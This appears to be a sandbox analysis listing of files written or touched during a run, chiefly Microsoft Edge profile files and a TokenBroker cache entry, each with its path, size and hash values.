T135E20B3B680CCB7E4F840E5CEC266F976ED801CB66988D5487FA884C03CB6EA51175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 12dcd9d7bdaf2fe27afa5697cd1f2b603b5615893159e4a14493edee8de845d6
MD5 58feb29524839d4b0fcdd08d03e08178
SHA1 19ada0b2f71086a39225950c741c83414510bca3
SHA512 7361411a3da90c52d169e778e74e3fc156999a933832ab727dd3c3bc6c49601c2d8f930728632a20b3eb0824965b3004ee2740dc52cde57a3b4b100c061d3510
SSDEEP 96:KIbCKcjNmKeQqCIwKJuqIgKV2CCoAKdO0:s6pruTrL
TLSH
T129D16C02703B5605387F6A8CD299D57A5E433163340DA96F7BF820A65EA7E160EFC9CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 400a7f5e597e5687476027ad406b857072af12d9dc445bd4da07a15b1a517c9a
MD5 2c3527a295e6ebe9e50d90ae79263fd0
SHA1 25fa7cb80ed5f89d4656737c2696721d12f144af
SHA512 43e38f04d49b32cef8f8d62a632441c32146907e6cb26383a5778299c93846587e73b4440b7f90d96825a2acf3f0d660756b076afb85b83d35e61ccc0cf1c61f
SSDEEP 384:yktNnNnb9ysNjvtQcWbOkrGdpqlqeD7DRi2AI19/NER:JjZbw6LWRyKq+N9/eR
TLSH
T197928D3558796D6B9A67AB15F00A77476FF8016BD5C02EC4FAE89F0E01C73AC230791A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 b1ddc4379a10c90952fe7783ca260b1d34b2c5c1d0ccf580b818af54b741ff99
MD5 970e0c49456014012af4d88eec00ab4d
SHA1 93b3d62e82e446e250c20482342e3917c46d2ddc
SHA512 6f51eaef3970dab7aade77be2fd4507541b30cddc08f4cc1c94be7cc78439e7aec1dd7988bcf44e4ed5e7d19df02a2843af7347d88aaf943eaf5be0cd29e5eb9
SSDEEP 384:yktNnNnb99sNjvtQcWb1grGdpqVqeD7DRi2AI19/NER:JjZbL6LWiyuq+N9/eR
TLSH
T159928E3558796D6B9A67AB15F00A77476FF8016BD1C02EC4FAE89F0E01C739C231791A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 0c896acc6c97608d8f63fcef830b3a58429348bb5c2d6171fb680c9cd4e63b6b
MD5 47dc58e8f1c9879559fb9cd5b10ef0da
SHA1 86d3e1da45405be8167690b7415e0c839a7248b5
SHA512 937503573903acc47f8c31ae134e8a1a057ab977723c4f69752827c0da032507e93278b65281a2c4c02a32ffc97bc3bf29e92d05d04675d8e9482dbcbee3a94c
SSDEEP 192:MON064BAQmiUy21/W5GBPKT++FdGsfaDAouU6:MON06eAtVW1dpcduU6
TLSH
T16B02DA35AC796C7B9FB2AE45F4863B175FE8113BE5C51B84EAE85F1C009764C234382A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 109c1426e8465300a1cbba00305d5a6dd5c0f25fb74f48cb2c1f149e3cb80929
MD5 7fece8b52496f1315c956909c94f6b59
SHA1 e4ea828b2eae6d97a3536e8b64dba8ea79eb4027
SHA512 22385058f762e019a0bd9ecffe013e491217849a2522e1b1e6673f6dcdce3c6d14b0c72786f5b2bf46e1dc55fbe617267b147d51f0e9ba433d84a0c10dbd292e
SSDEEP 384:yztNnNnb91sNjvtQcWbDMrGdpqVCbv6A4BIzEorZ9hkcgXeD7DRi2AI19/NER:UjZbL6LWMyu2d4grZ97w+N9/eR
TLSH
T103C25C71D8791DDB45A2EAC5E109F5063FA8023BC5C8199CF6F8BB3A309F5F85362816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 5c446d77afdf3d57912b9b3409f1643001211e7c2ceeb14f0523c6e658afc6ab
MD5 e832f7f84903d61b0e8511ba8bdc0828
SHA1 5b596c1ba1f3819c72cadadb3696f37494670841
SHA512 a10501ef65b69c532e5d112a0f2bc3f1008cb99a9eea34aebdda8f8b38aad26ac0f8138ec2eb4e97537e1eb715e0cc08ec8be318ab6c3cd7a61a23cb238d1d76
SSDEEP 192:MONm64BiQmiUyp/f5GBPKT++FdGsr2PNfWw1qzU6:MONm6eewf1dpqLqU6
TLSH
T10212F935A8792C6B9FA2AE01F4873B175FE8113BE6C42F84FAE45B1C01D775C2306826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 6a99de83b86a86129d64f9c63644ade7fd5c5b2229884b89801bde18cfb8f083
MD5 18670168b9b8fc121d195f45b81ad103
SHA1 e068a6349b7cad87d04d2d81efd336fcfa3b9458
SHA512 be3f9e77df88fdb08abd193ea772b90a559c3721f1a3aa674bc9f22c6d3b487592d2ce9fad587237ed5e2403aeeb1bdd295a42bee57595849a86bf0441cef7a0
TLSH
T13D411A58AAFA1148B3776F16ABF7A8AD087EBC772E06D45D10110D4E4B77A40CDA1733
MD5 SHA1 SHA512 TLSH

Submit Download